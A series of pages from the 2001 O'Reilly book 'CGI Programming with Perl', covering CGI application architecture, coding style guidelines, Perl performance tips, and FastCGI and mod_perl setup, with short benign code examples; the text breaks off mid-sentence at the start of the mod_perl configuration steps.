In some scenarios, each web developer may need different configuration parameters. By storing file paths in a configuration file, web developers can test their applications with their own copies of data and HTML files. However, that does not mean that CGI scripts need to require multiple files; another advantage to using Perl for setup files is that they are easily extended. A CGI script can require a single configuration file that requires other files. This easily supports configuration files for both applications and developers. Likewise, if a CGI application grows so large that a single application configuration file is difficult to manage, you can break it into smaller files and have the primary configuration file require these smaller sections.

16.1.5. Separating Display from Your Primary Code

The display associated with a CGI script is one of the most likely things to change in the lifetime of an application. Most Web sites undergo some look and feel change during their evolution, and an application that will be used across several web sites needs to be flexible enough to accommodate all of their individual cosmetic guidelines. We discussed many of the arguments for separating display from logic in Chapter 6, "HTML Templates".

However, even beyond keeping HTML separate from code so that HTML maintainers have an easier time, it is a good idea to develop the code that handles display (such as template parsing calls, CGI.pm methods, etc.) separated from the rest of your program logic. This allows you to change the solution you use for generating display with as little effort as possible. You may at some point decide you want to port all your CGI scripts from CGI.pm to templates or vice versa.

Another reason for separating display from the main program logic is that you may not want to limit your program to displaying HTML. As your program evolves, you may want to provide other interfaces. You may wish to convert from basic HTML to the new XHTML standard. Or you might want to add an XML interface to allow other systems programs to grab and process the output of your CGI script as data.

16.1.6. Separating Storage from Your Primary Code

The manner of storing and retrieving data is a key architecture decision that every application encounters. A simple shopping cart might start out using flat text files to store shopping cart data throughout the user's shopping experience. However, a more sophisticated one will probably want to take advantage of relational databases such as MySQL or Oracle. Other applications may use DBM hash files.

Separating the code that is responsible for data storage from your core program logic is good architectural design. In practice, this can be more difficult to achieve than separating other components of your programs such as display. Often your logic is closely tied to your data. Sometimes you must also make trade-offs with performance; SQL for example is such an expressive language, it is possible to embed logic into your queries, and this is typically much faster and more memory efficient than duplicating this functionality in your programs.

However, it is a good idea to strive towards a separation, especially if your application is using simpler storage mechanisms such as text files. Because applications grow, you may easily find yourself adopting a full RDBMS down the road. The least amount of change required in your code, the better.

One strategy is to simply allow DBI to be your layer of abstraction. If you are not ready for a database, you can use DBD::CSV to store your data in text files. Later, if you move to a relational database, most of your code that is built around DBI will not need to change. Keep in mind that not all DBI drivers are equal. DBD::CSV, for example, only supports limited SQL queries; while on the other extreme, complex drivers like DBD::Oracle allow you to use stored procedures written in Oracle's PL/SQL programming language. Thus, even with DBI, you must balance the portability of writing simple, vanilla SQL against the performance advantages that you can get by taking advantage of particular features available to you with your current storage mechanism, as well as the likelihood that you will want to change storage mechanisms in the future.

16.1.7. Number of Scripts per Application

CGI applications often consist of many different tasks that must work together. For example, in a basic online store you will have code to display a product catalog, code to update a shopping cart, code to display the shopping cart, and code to accept and process payment information. Some CGI developers would argue that all of this should be managed by a single CGI script, possibly breaking some functionality out into modules that can be called by this script. Others would argue that a separate CGI scripts should support each page or functional group of pages, possibly moving common code into modules that can be shared by this script. There are reasons for pursuing either approach; let's take a look at them.

16.1.7.1. Using one CGI program rather than many for each major application

Having one file makes things simple; there is only one file one must edit to make changes. One doesn't need to look through multiple files in order to find a particular section of code. Imagine you saw a directory with multiple applications:

web_store.cgi
order.cgi
display_cart.cgi
maintain_cart.cgi

Without delving into the source code, you might pick out that web_store.cgi is the primary application. Furthermore, you might conclude that the program probably prints out a front page inviting the user to shop and provides links to the other CGI programs. You would also be able to tell which scripts have to do with ordering, displaying, and maintaining cart information.

However, without actually going into the source code of all these CGI scripts, it is difficult to tell how they relate to one another. For example, can you add or delete shopping cart items from the order page?

Instead, you can make just one CGI program: web_store.cgi. This combined script can then import the functionality of order forms, cart data display and maintenance using libraries or modules.

Second, different components often need to share code. It is much simpler for one component to access code in another component if they are in the same file. Moving shared code into modules is certainly an alternative that works well for applications distributed into multiple CGI scripts. However, using modules to share common code requires a greater degree of planning to know what code can be shared and what code will not. A single file is more amenable to making simple changes.

It is possible to use modules with this single CGI program approach. In fact, you can keep file sizes small if you want by making the primary CGI script a basic interface, or a wrapper, that routes requests to other modules. In this scenario, you create multiple modules that handle the different tasks. In many ways it is like having multiple files except that all HTTP requests are directed through a common front-end.

If you write CGI scripts that you distribute so that others may download and install them on their own systems, then you may certainly want to reduce the number of files in your application. In this scenario, the focus is on making the application easy to install and configure. People installing software care more about what the package does than one individual tasks are handled by which component, and it is easier for them to avoid accidentally deleting a file they didn't realize was important if the number of files is minimized.

The final reason you may wish to combine CGI scripts is if you are running FastCGI. FastCGI runs a separate process for each of your CGI scripts, so the fewer scripts you have, the fewer separate processes are running.

16.1.7.2. Using multiple CGI scripts for each major application

There are also several reasons to keep applications distributed. First of all, it does keep files smaller and more manageable. This also helps with projects that have multiple developers, because reconciling changes made by multiple developers working on the same file at the same time can be complicated to say the least.

Of course, as we stated before, one can keep files small and separated when using the single CGI program approach by shifting code into modules and restricting the single CGI program to being a simple interface that routes requests to the appropriate modules. However, creating a general front-end that uses modules for specific tasks is a rather backward approach for Perl. Typically, Perl modules contain general code that can be shared across multiple programs that do specific tasks. Keeping general code within modules also allows them to be potentially shared across different CGI applications.

It is true that creating multiple files requires more architectural planning when different components need to share the same code because the common code must be placed in a module. You should always plan your architecture carefully and be wary of quick and simple solutions. The problem with quick and simple solutions is that too many of them begin to bloat an application and create an inferior overall solution. It may require a bit more work in the short term to shift code in one component into a module because another component needs to access it; however, in the long run the application may be much more flexible and easier to maintain with this module than it would be if all the code is simply dumped into a common file.

There are some cases when it is clear that code should be kept separate. Some applications, such as our web store example, may have administrative pages where employees can update product information, modify product categories, etc. Those tasks that require a different level of authorization should certainly be kept separate from the public code for security reasons. Administrative code should be placed in a separate subdirectory, such as /usr/local/apache/cgi-bin/web_store/admin/ that is restricted by the web server.

If you do choose to separate a CGI application into multiple scripts, then you should certainly create a separate directory within /cgi-bin for each application. Placing lots of files from lots of different applications together in one directory guarantees confusion later.

16.1.8. Using Submit Buttons to Control Flow

Whether or not you break your applications into multiple scripts, you will still encounter situations where one form may allow the user to choose very different actions. In this case, your CGI script can determine what action to take by looking at the name of the submit button that was chosen. The name and value of submit buttons is only included within form query requests if they were clicked by the user. Thus, you can have multiple submit buttons on the HTML form with different names indicating different paths of logic that the program should follow.

For example, a simple shopping cart CGI script may begin with code like the following:

#!/usr/bin/perl -wT

use strict;
use CGI;

my $q        = new CGI;
my $quantity = $q->param( "quantity" );
my $item_id  = $q->param( "item_id" );
my $cart_id  = $q->cookie( "cart_id" );

# Remember to handle exceptional cases
defined( $item_id ) or die "Invalid input: no item id";
defined( $cart_id ) or die "No cookie";

if ( $q->param( "add_item" ) ) {
    add_item( $cart_id, $item_id );
} elsif ( $q->param( "delete_item" ) ) {
    delete_item( $cart_id, $item_id );
} elsif ( $q->param( "update_quantity" ) ) {
    update_quantity( $cart_id, $item_id, $quantity );
} else {
    display_cart( $cart_id );
}

# That's it; subroutines follow...

From looking at this section of code, it is easily apparent how the entire script reacts to input and the role of each of the subroutines. If we clicked on a submit button represented in an HTML form with <INPUT TYPE="submit" NAME="add_item"VALUE="Add Item to Cart">, the script would call the add_item subroutine. Furthermore, it is clear that the default behavior is defined as displaying the shopping cart.

Note that we are branching based on the name of the submit button and not the value; this allows HTML designers to alter the text on the button displayed to users without affecting our script.

Previous | Home | Next
15.3. Debugging Tools | Book Index | 16.2. Coding Guidelines
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Coding Guidelines (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

16.2. Coding Guidelines

Programmers inevitably develop their own style for writing code. This is fine so long as the developer works alone. However, when multiple developers each attempt to impose their own style on a project, it will inevitably lead to problems. Code that does not follow one consistent style is much more difficult to read and maintain than uniform code. Thus, if you have more than one developer working on the same project, you should agree on a common style for writing code. Even if you are working alone, it is a good idea to look at common standards so that your style does not become so different that you have problems adapting when you do work with others.

Here are some topics that a style guide should cover, along with suggestions. These suggestions follow the syntax that was used throughout this book, largely based upon the style suggested in the perlstyle manpage:

  • Flags and pragmas . This covers the first couple of lines of your code:

    #!/usr/bin/perl -wT

use strict;

    You may want to require taint mode on all your scripts or allow certain exceptions. You may want to enable warnings by default for all of your scripts too. It is certainly a good idea to require that all scripts use strict and minimize the use of global variables.

  • Capitalization . This includes the capitalization of variables (both local and global), the capitalization of subroutines, the capitalization of modules, and the capitalization of filenames. The most common convention in Perl is to use lowercase for local variables, subroutines, and filenames; words should be separated by an underscore. Global variables should be capitalized to make them apparent. Module names typically use mixed case without underscores. Note that this convention is quite different from the mixed case conventions of other languages like JavaScript or Java.

  • Indentation . This should specify whether to use tabs or spaces. Most editors have the option to automatically expand tabs to a fixed number of spaces. If spaces are used, it should also indicate how many spaces are used for a typical indentation. Three or four spaces are common conventions.

  • Bracket placement . When creating the body of a subroutine, loops, or conditionals, the opening brace can go at the end of the statement preceding it or on the following line. For example, you can declare a subroutine this way:

    sub sum {
    return $_[0] + $_[1];
}

    Or you could declare it this way:

    sub sum
{
    return $_[0] + $_[1];
}

    This very trivial distinction somehow manges to generate serious discord among some developers. The latter is familiar to programmers who have written a lot of C, while the former is more common in Perl.

  • Documentation . You don't need to decide whether to document your code or not; obviously you should. However, you may want to decide certain standards for it. Remember that there are different levels of documentation. Documentation can include comments within your code adding explanation to sections of code. Documentation can also include an overview of the purpose of a file and how it fits into the larger project. Finally, a project itself may have goals and details that don't fit within particular files but must be captured at a more general level.

    You should decide how you will capture each of these levels in your documentation. For example, will all of your files use Perl's pod format to capture an overview of their purpose? Or will you use standard comments or capture documentation elsewhere? If so, what about your shared modules? If developers must interface with these modules in the future, pod is a convenient way for them to find the information they need to do so.

    You also may wish to create standard templates for comments that appear at the beginning of a file and at the beginning of each subroutine. We have omitted large blocks of comments in this book because we review each section of code afterwards. However, most production code should include details such as who wrote the code, when they wrote it, why they wrote it, what it does, etc. A revision control system that captures some of these details can help immensely.

  • Grammar . This defines the rules for choosing names of variables, subroutine calls, and modules. You may wish to decide whether to keep variable and subroutine names long or allow abbreviation. You may also want to make rules about whether to use plural terms for naming data structures that contain multiple elements. For example, if you pull data from a database, do you store the list in an array named @rec or @record or @records? Long names and plural names for compound data are probably more common. Similarly, the names of subroutines are typically actions while the names of modules (which are also class names for object-oriented modules) are typically nouns.

  • Whitespace . One thing that can certainly contribute to making code easier to read and thus maintain is an effective use of whitespace. Separate items in lists with spaces, including parameters passed to functions. Include spaces around operators, including parentheses. Line up similar commands on adjacent lines if it helps make the code clearer. One the other hand, one shouldn't go overboard. Code with lots of formatting is easier to read but you still want it to be easy to change too, without the maintainer needing to worry too much about reformatting lines.

  • Tools. You may wish to standardize on tools such as modules for development. It helps if everyone agrees on one particular method of generating output, such as CGI.pm, an HTML template module, etc.

  • Additions. This list is by no means exhaustive, so keep your style guide dynamic. If issues come up that are not covered by the style guide, work out a solution and then update the guide.

Don't forget to document other general development and architectural guidelines too, such as those we have discussed earlier in this chapter and throughout the book. However, keep in mind the goal is to be organized, not bureaucratic. You should not be heavy handed about guidelines. It is not possible, nor desirable, to make everyone's code look the same. The goal is simply to allow developers to work with each other's code without difficulty. Also, style decisions should be determined by discussion and consensus, not dictated. Keep it fun.

Previous | Home | Next
16. Guidelines for Better CGI Applications | Book Index | 17. Efficiency and Optimization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Efficiency and Optimization (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

Chapter 17. Efficiency and Optimization

Contents:

Basic Perl Tips, Top Ten
FastCGI
mod_perl

Let's face it, CGI applications, run under normal conditions, are not exactly speed demons. In this chapter, we will show you a few tricks that you can use to speed up current applications, and also introduce you to two technologies -- FastCGI and mod_perl -- that allow you to develop significantly accelerated CGI applications. If you develop Perl CGI scripts on Win32, then you may also wish to look at ActiveState's PerlEx. Although we do not discuss PerlEx in this chapter, it provides many of the same benefits as mod_perl.

First, let's try to understand why CGI applications are so slow. When a user requests a resource from a web server that turns out to be a CGI application, the server has to create another process to handle the request. And when you're dealing with applications that use interpreted languages, like Perl, there is an additional delay incurred in firing up the interpreter, then parsing and compiling the application.

So, how can we possibly improve the performance of Perl CGI applications? We could ask Perl to interpret only the most commonly used parts of our application, and delay interpreting other pieces unless necessary. That certainly would speed up applications. Or, we could turn our application into a server ( daemon) that runs in the background and executes on demand. We would no longer have to worry about the overhead of firing up the interpreter and evaluating the code. Or, we could embed the Perl interpreter within the web server itself. Again, we avoid the overhead of having to start a new process, and we don't even suffer the communication delay we would have talking to another daemon.

We'll look at all the techniques mentioned here, in addition to basic Perl tips for writing more efficient applications. Let's start with the basics.

17.1. Basic Perl Tips, Top Ten

Here is a list of ten techniques you can use to improve the performance of your CGI scripts:

10. Benchmark your code.

9. Benchmark modules, too.

8. Localize variables with my.

7. Avoid slurping data from files.

6. Clear arrays with undef instead of ( ).

5. Use SelfLoader where applicable.

4. Use autouse where applicable.

3. Avoid the shell.

2. Find existing solutions for your problems.

1. Optimize your regular expressions.

Let's look at each one in more detail.

17.1.1. Benchmark Your Code

Before we can determine how well our program is working, we need to know how to benchmark the critical code. Benchmarking may sound involved, but all it really involves is timing a piece of code, and there are some standard Perl modules to make this very easy to perform. Let's look at a few ways to benchmark code, and you can choose the one that works best for you.

First, here's the simplest way to benchmark:

$start = (times)[0];

## your code goes here

$end = (times)[0];

printf "Elapsed time: %.2f seconds!\n", $end - $start;

This determines the elapsed user time needed to execute your code in seconds. It is important to consider a few rules when benchmarking:

  • Try to benchmark only the relevant piece(s) of code.

  • Don't accept the first benchmark value. Benchmark the code several times and take the average.

  • If you are comparing different benchmarks, make sure they are tested under comparable conditions. For example, make sure that the load on the machine doesn't differ between tests because another user happened to be running a heavy job during one.

Second, we can use the Benchmark module. The Benchmark module provides us with several functions that allow us to compare multiple pieces of code and determine elapsed CPU time as well as elapsed real-world time.

Here's the easiest way to use the module:

use Benchmark;
$start = new Benchmark;

## your code goes here

$end = new Benchmark;

$elapsed = timediff ($end, $start);
print "Elapsed time: ", timestr ($elapsed), "\n";

The result will look similar to the following:

Elapsed time:  4 wallclock secs (0.58 usr +  0.00 sys =  0.58 CPU)

You can also use the module to benchmark several pieces of code. For example:

use Benchmark;
timethese (100, {
                    for => <<'end_for',
                        my   $loop;
                        for ($loop=1; $loop <= 100000; $loop++) { 1 }
end_for
                    foreach => <<'end_foreach'
                        my      $loop;
                        foreach $loop (1..100000) { 1 }
end_foreach
                } );

Here, we are checking the for and foreach loop constructs. As a side note, you might be interested to know that, in cases where the loop iterator is great, foreach is much less efficient than for in versions of Perl older than 5.005.

The resulting output of timethese will look something like this:

Benchmark: timing 100 iterations of for, foreach...
       for: 49 wallclock secs (49.07 usr +  0.01 sys = 49.08 CPU)
   foreach: 69 wallclock secs (68.79 usr +  0.00 sys = 68.79 CPU)

One thing to note here is that Benchmark uses the time system call to perform the actual timing, and therefore the granularity is still limited to one second. If you want higher resolution timing, you can experiment with the Time::HiRes module. Here's an example of how to use the module:

use Time::HiRes;
my $start = [ Time::HiRes::gettimeofday(  ) ];

## Your code goes here

my $elapsed = Time::HiRes::tv_interval( $start );
print "Elapsed time: $elapsed seconds!\n";

The gettimeofday function returns the current time in seconds and microseconds; we place these in a list, and store a reference to this list in $start. Later, after our code has run, we call tv_interval, which takes $start and calculates the difference between the original time and the current time. It returns a floating-point number indicating the number of seconds elapsed.

One caveat: the less time your code takes, the less reliable your benchmarks will be. Time::HiRes can be useful for determining how long portions of your program take to run, but do not use it if you want to compare two subroutines that each take less than one second. When comparing code, it is better to use Benchmark and have it test your subroutines over many iterations.

17.1.2. Benchmark Modules, Too

CPAN is absolutely wonderful. It contains a great number of highly useful Perl modules. You should take advantage of this resource because the code available on CPAN has been tested and improved by the entire Perl community. However, if you are creating applications where performance is critical, remember to benchmark code included from modules you are using in addition to your own. For example, if you only need a portion of the functionality available in a module, you may benefit by deriving your own version of the module that is tuned for your application. Most modules distributed on CPAN are available according to the same terms as Perl, which allows you to modify code without restriction for your own internal use. However, be sure to verify the licensing terms for a module before you do this, and if you believe your solution would be beneficial to others, notify the module author, and please give back to CPAN.

You should also determine whether using a module make sense. For example, a popular module is IO::File, which provides a set of functions to deal with file I/O:

use IO::File;
$fh = new IO::File;
if ($fh->open ("index.html")) {
    print <$fh>;
    $fh->close;
}

There are advantageous to using an interface like IO::File. Unfortunately, due to module loading and method-call overhead, this code is, on the average, ten times slower than:

if (open FILE, "index.html") {
    print <FILE>;
    close FILE;
}

So the bottom line is, pay very careful attention to modules that you use.

17.1.3. Localize Variables with my

You should create lexical variables with the my function. Perl keeps track of managing memory usage for you, but it doesn't look ahead to see if you are going to use a variable in the future. In order to create a variable that you need only within a particular block of code, such as a subroutine, declare it with my. Then the memory for that variable will be reclaimed at the end of the block.

Note that despite its name, the local function doesn't localize variables in the standard sense of the term. Here is an example:

sub name {
    local $my_name = shift;
    greeting(  );
}

sub greeting {
    print "Hello $my_name, how are you!\n";
}

If you run this simple program, you can see that $my_name isn't exactly local to the name function. In fact, it is also visible in greeting. This behavior can produce unexpected results if you are not careful. Thus, most Perl developers avoid using local and use my instead for everything except global variables, file handles, and Perl's built-in global punctuation variables like $_ or $/.

17.1.4. Avoid Slurping

What is slurping, you ask? Consider the following code:

local $/;
open FILE, "large_index.html" or die "Could not open file!\n";
$large_string = <FILE>;
close FILE;

Since we undefine the input record separator, one read on the file handle will slurp (or read in) the entire file. When dealing with large files, this can be highly inefficient. If what you are doing can be done a line at a time, then use a while loop to process only a line at a time:

open FILE, "large_index.html" or die "Could not open file!\n";
while (<FILE>) {
    # Split fields by whitespace, output as HTML table row
    print $q->tr( $q->td( [ split ] ) );
}
close FILE;

Of course, there are situations when you cannot process a line at a time. For example, you may be looking for data that crosses line boundaries. In this case, you may fall back to slurping for small files. Try benchmarking your code to see what kind of penalty is imposed by slurping in the entire file.

17.1.5. undef Versus ( )

If you intend to reuse arrays, especially large ones, it is more efficient to clear them out by equating them to a null list instead of undefining them. For example:

...
while (<FILE>) {
    chomp;
    $count++;
    $some_large_array[$count] .= int ($_);
}
...

@some_large_array = (  );     ## Good
undef @some_large_array;    ## Not so good

If you undefine @some_large_array to clear it out, Perl will deallocate the space containing the data. And when you populate the array with new data, Perl will have to reallocate the necessary space again. This can slow things down.

17.1.6. SelfLoader

The SelfLoader module allows you to hide functions and subroutines, so the Perl interpreter does not compile them into internal opcodes when it loads up your application, but compiles them only where there is a need to do so. This can yield great savings, especially if your program is quite large and contains many subroutines that may not all be run for any given request.

Let's look at how to convert your program to use self-loading, and then we can look at the internals of how it works. Here's a simple framework:

use SelfLoader;

## step 1: subroutine stubs

sub one;
sub two;
...

## your main body of code
...

## step 2: necessary/required subroutines

sub one {
    ...
}

__DATA__

## step 3: all other subroutines

sub two {
    ...
}
...
__END__

It's a three-step process:

  1. Create stubs for all the functions and subroutines in your application.

  2. Determine which functions are used often enough that they should be loaded by default.

  3. Take the rest of your functions and move them between the __DATA__ and __END__ tokens.

Congratulations, Perl will now load these functions only on demand!

Now, how does it actually work? The __DATA__ token has a special significance to Perl; everything after the token is available for reading through the DATA filehandle. When Perl reaches the __DATA__ token, it stops compiling, and all the subroutines defined after the token do not exist, as far as Perl is concerned.

When you call an unavailable function, SelfLoader reads in all the subroutines from the DATA filehandle, and caches them in a hash. This is a one-time process, and is performed the first time you call an unavailable function. It then checks to see if the specified function exists, and if so, will eval it within the caller's namespace. As a result, that function now exists in the caller's namespace, and any subsequent calls to that function are handled via symbol table lookups.

The costs of this process are the one time reading and parsing of the self-loaded subroutines, and a eval for each function that is invoked. Despite this overhead, the performance of large programs with many functions and subroutines can improve dramatically.

17.1.7. autouse

If you use many external modules in your application, you may consider using the autouse feature to delay loading them until a specific function from a module is used:

use autouse DB_File;

You have to be very careful when using this feature, since a portion of the chain of execution will shift from compile time to runtime. Also, if a module needs to execute a particular sequence of steps early on in the compile phase, using autouse can potentially break your applications.

If the modules you need behave as expected, using autouse for modules can yield a big savings when it comes time to "load" your application.

17.1.8. Avoid the Shell

Avoid accessing the shell from your application, unless you have no other choice. Perl has equivalent functions to many Unix commands. Whenever possible, use the functions to avoid the shell overhead. For example, use the unlink function, instead of executing the external rm command:

system( "/bin/rm", $file );                     ## External command
unlink $file or die "Cannot remove $file: $!";  ## Internal function

It as also much safer to avoid the shell, as we saw in Chapter 8, "Security". However, there are some instances when you may get better performance using some standard external programs than you can get in Perl. If you need to find all occurrences of a certain term in a very large text file, it may be faster to use grep than performing the same task in Perl:

system( "/bin/grep", $expr, $file );

Note however, that the circumstances under which you might need to do this are rare. First, Perl must do a lot of extra work to invoke a system call, so the performance difference gained by an external command is seldom worth the overhead. Second, if you only were interested in the first match and not all the matches, then Perl gains speed because your script can exit the loop as soon as it finds a match:

my $match;
open FILE, $file or die "Could not open $file: $!";
while (<FILE>) {
    chomp;
    if ( /$expr/ ) {
        $match = $_;
        last;
    }
}

grep will always read the entire file. Third, if you find yourself needing to resort to using grep to handle text files, it likely means that the problem isn't so much with Perl as with the structure of your data. You should probably consider a different data format, such as a DBM file or a RDBMS.

Also avoid using the glob <*> notation to get a list of files in a particular directory. Perl must invoke a subshell to expand this. In addition to this being inefficient, it can also be erroneous; certain shells have an internal glob limit, and will return files only up to that limit. Note that Perl 5.6, when released, will solve these limitations by handling globs internally.

Instead, use Perl's opendir, readdir, and closedir functions. Here is an example:

@files = </usr/local/apache/htdocs/*.html>;      ## Uses the shell
....
$directory = "/usr/local/apache/htdocs";         ## A better solution
if (opendir (HTDOCS, $directory)) {
    while ($file = readdir (HTDOCS)) {
        push (@files, "$directory/$file") if ($file =~ /\.html$/);
    }
}

17.1.9. Find Existing Solutions for Your Problems

Chances are, if you find yourself stuck with a problem, someone else has encountered it elsewhere and has spent a lot of time developing a solution. And thanks to the spirit of Perl, you can likely borrow it. Throughout this book, we have referred to many modules that are available on CPAN. There are countless more. Take the time to browse through CPAN regularly to see what is available there.

You should also check out the Perl newsgroups. news:comp.lang.perl.modules is a good place to go to check in with new module announcements or to get help with particular modules. news:comp.lang.perl and news:comp.lang.perl.misc are more general newsgroups.

Finally, there are many very good books available that discuss algorithms or useful tricks and tips. The Perl Cookbook by Tom Christiansen and Nathan Torkington and Mastering Algorithms with Perl by Jon Orwant, Jarkko Hietaniemi, and John Macdonald are full of gems specifically for Perl. Of course, don't overlook books whose focus is not Perl. Programming Pearls by John Bentley, The C Programming Language by Brian Kernighan and Dennis Ritchie, and Code Complete by Steve McConnell are also all excellent references.

17.1.10. Regular Expressions

Regular expressions are an integral part of Perl, and we use them in many CGI applications. There are many different ways that we can improve the performance of regular expressions.

First, avoid using $&, $`, and $'. If Perl spots one of these variables in your application, or in a module that you imported, it will make a copy of the search string for possible future reference. This is highly inefficient, and can really bog down your application. You can use the Devel::SawAmpersand module, available on CPAN, to check for these variables.

Second, the following type of regular expressions are highly inefficient:

while (<FILE>) {
    next if (/^(?:select|update|drop|insert|alter)\b/);
    ...
}

Instead, use the following syntax:

while (<FILE>) {
    next if (/^select/);
    next if (/^update/);
    ...
}

Or, consider building a runtime compile pattern if you do not know what you are searching against at compile time:

@keywords = qw (select update drop insert);
$code = "while (<FILE>) {\n";

foreach $keyword (@keywords) {
    $code .= "next if (/^$keyword/);\n";
}

$code .= "}\n";
eval $code;

This will build a code snippet that is identical to the one shown above, and evaluate it on the fly. Of course, you will incur an overhead for using eval, but you will have to weigh that against the savings you will gain.

Third, consider using o modifier in expressions to compile the pattern only once. Take a look at this example:

@matches = (  );
...
while (<FILE>) {
    push @matches, $_ if /$query/i;
}
...

Code like this is typically used to search for a string in a file. Unfortunately, this code will execute very slowly, because Perl has to compile the pattern each time through the loop. However, you can use the o modifier to ask Perl to compile the regex just once:

push @matches, $_ if /$query/io;

If the value of $query changes in your script, this won't work, since Perl will use the first compiled value. The compiled regex features introduced in Perl 5.005 address this; refer to the perlre manpage for more information.

Finally, there are often multiple ways that you can build a regular expression for any given task, but some ways are more efficient than others. If you want to learn how to write more efficient regular expressions, we highly recommend Jeffrey Friedl's Mastering Regular Expressions.

These tips are general optimization tips. You'll get a lot of mileage from some, and not so much from the others, depending on your application. Now, it's time to look at more complicated ways to optimize our CGI applications.

Previous | Home | Next
16.2. Coding Guidelines | Book Index | 17.2. FastCGI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


FastCGI (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

17.2. FastCGI

FastCGI is a web server extension that allows you to convert CGI programs into persistent, long-lived server-like applications. The web server spawns a FastCGI process for each specified CGI application at startup, and these processes respond to requests, until they are explicitly terminated. If you expect a certain application to be used more than others, you can also ask FastCGI to spawn multiple processes to handle concurrent requests.

There are several advantages to this approach. A typical Perl CGI application has startup overhead for each request that includes the process of spawning a process and interpreting the code. And, if the code has a lengthy initialization process, that simply adds to the overhead. A typical FastCGI application does not suffer from any of these problems. There is no extra spawning for each request, and all the initialization is done at startup. Since these applications are long-lived, they allow you to store data between requests, which is also an advantage.

Example 17-1 shows what a typical CGI script looks like.

Example 17-1. fast_count.cgi

#!/usr/bin/perl -wT

use strict;
use vars qw( $count );
use FCGI;

local $count = 0;

while ( FCGI::accept >= 0 ) {
    $count++;
    print "Content-type: text/plain\n\n";
    print "You are request number $count. Have a good day!\n";
}

Other than a few extra details, this is not much different than a regular CGI program. Since this is initialized only once, the value of $count (a global variable) will be zero at startup and will be persistent for all subsequent requests. If the web server receives a request for this FastCGI application, it passes it on and the FCGI::accept accepts the request and returns a response, which executes the body of the while loop. In this case, you will notice that the value of $count will be incremented for each request.

If your CGI script uses CGI.pm, you can use CGI.pm's FastCGI interface, CGI::Fast, instead. CGI::Fast is included in the standard CGI.pm distribution. Example 17-2 shows how Example 17-1 looks with CGI::Fast.

Example 17-2. fast_count.cgi

#!/usr/bin/perl -wT

use strict;
use vars qw( $count );
use CGI::Fast;

local $count = 0;

while ( my $q = new CGI::Fast ) {
    $count++;
    print $q->header( "text/plain" ),
          "You are request number $count. Have a good day!\n";
}

This works the same way. Everything before the creation of a CGI::Fast object is only executed once. Then the script waits until it receives a request, which creates a new CGI::Fast object and runs the body of the while loop.

Now that you've seen how FastCGI works, let's see how to install it. FastCGI works with a wide variety of web servers, but we'll walk through the setup for Apache.

17.2.1. Installing FastCGI

Early versions of FastCGI required a modified version of Perl to work its magic. Fortunately, this is no longer the case. However, FastCGI does require a change to your web server. The FastCGI distribution includes modules for your web server as well as the Perl module, FCGI (which is also available on CPAN). You can obtain it from http://www.fastcgi.com/, the home of the FastCGI open source project. Note this is separate from http://www.fastcgi.org/, which offers commercial solutions built upon FastCGI. In this case the .org and .com web sites are the reverse of what you might expect.

Here are the instructions for installing FastCGI with Apache. If you're using a version of Apache greater than 1.3, you can simply run Apache's configure in the following manner:

configure --add-module=/usr/local/src/apache-fastcgi/src/mod_fastcgi.c

Then, you need to determine where you will place your FastCGI applications. We let Apache know the location by adding the following directives in httpd.conf (Location goes in access.conf, and Alias in srm.conf if used):

<Location /fcgi>
SetHandler fastcgi-script
</Location>

Alias /fcgi/  /usr/local/apache/fcgi/

For each FastCGI application that you want to start, you need to make an entry like the following:

AppClass /usr/local/apache/fcgi/fast_count.cgi

Now, when you start your Apache server, you should see a fcgi_count process in your system's process table. And you can access it by simply pointing your browser at:

http://localhost/fcgi/fast_count.cgi

Go ahead and convert one of your applications to FastCGI. You'll see a major speed improvement. Before you do that, however, a few things to note. You should fix all memory leaks within your FastCGI programs, or else it could drastically effect your system resources. So, make sure to begin your scripts this way:

#!/usr/bin/perl -wT

use strict;

to check for warnings and to restrict variable scope.

Also, you should think about collapsing the functionality from your various CGI applications. Since CGI applications incur significant overhead for each request, it is a common practice to split the functionality into several little applications to reduce the overhead. But, with FastCGI, that is no longer a concern.

FastCGI offers other functionality as well, including the ability for the local web server to run FastCGI programs on remote machines. It's beyond the scope of this chapter to go into detail about that topic, but you can find more information in the FastCGI documentation.

The technology we are about to look at offers high speed improvements over conventional CGI applications, much like FastCGI, but does so in an entirely different manner.

Previous | Home | Next
17. Efficiency and Optimization | Book Index | 17.3. mod_perl
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


mod_perl (CGI Programming with Perl)

 CGI Programming with PerlSearch this book

17.3. mod_perl

mod_perl is an Apache server extension that embeds Perl within Apache, providing a Perl interface to the Apache API. This allows us to develop full-blown Apache modules in Perl to handle particular stages of a client request. It was written by Doug MacEachern, and since it was introduced, its popularity has grown quickly.

The most popular Apache/Perl module is Apache::Registry, which emulates the CGI environment, allowing us to write CGI applications that run under mod_perl. Since Perl is embedded within the server, we avoid the overhead of starting up an external interpreter. In addition, we can load and compile all the external Perl modules we want to use at server startup, and not during the execution of our application. Apache::Registry also caches compiled versions of our CGI applications, thereby providing a further boost. Users have reported performance gains of up to 2000 percent in their CGI applications using a combination of mod_perl and Apache::Registry.

Apache::Registry is a response handler, which means that it is responsible for generating the response that will be sent back to the client. It forms a layer over our CGI applications; it executes our applications and sends the resulting output back to the client. If you don't want to use Apache::Registry, you can implement your own response handler to take care of the request. However, these handlers are quite different from standard CGI scripts, so we won't discuss how to create handlers with mod_perl. To learn about handlers along with anything else you might want to know about mod_perl, refer to Writing Apache Modules with Perl and C by Lincoln Stein and Doug MacEachern (O'Reilly & Associates, Inc.).

17.3.1. Installation and Configuration

Before we go any further, let's install mod_perl. You can obtain it from CPAN at http://www.cpan.org/modules/by-module/Apache/. The Apache namespace is used by modules that are specific to mod_perl. The installation is relatively simple and should proceed well:

$ cd mod_perl-1.22
$ perl Makefile.PL \
> APACHE_PREFIX=/usr/local/apache  \
> APACHE_SRC=../apache-1.3.12/src  \
> DO_HTTPD=1                       \
> USE_APACI=1                      \
> EVERYTHING=1
$ make
$ make test
$ su
# make install

Refer to the installation directions that came with Apache and mod_perl if you want to perform a custom installation. If you're not interested in possibly developing and implementing the various Apache/Perl handlers, then you do not need the EVERYTHING=1 directive, in which case, you can implement only a PerlHandler.

Once that's complete, we need to configure Apache. Here's a simple setup:

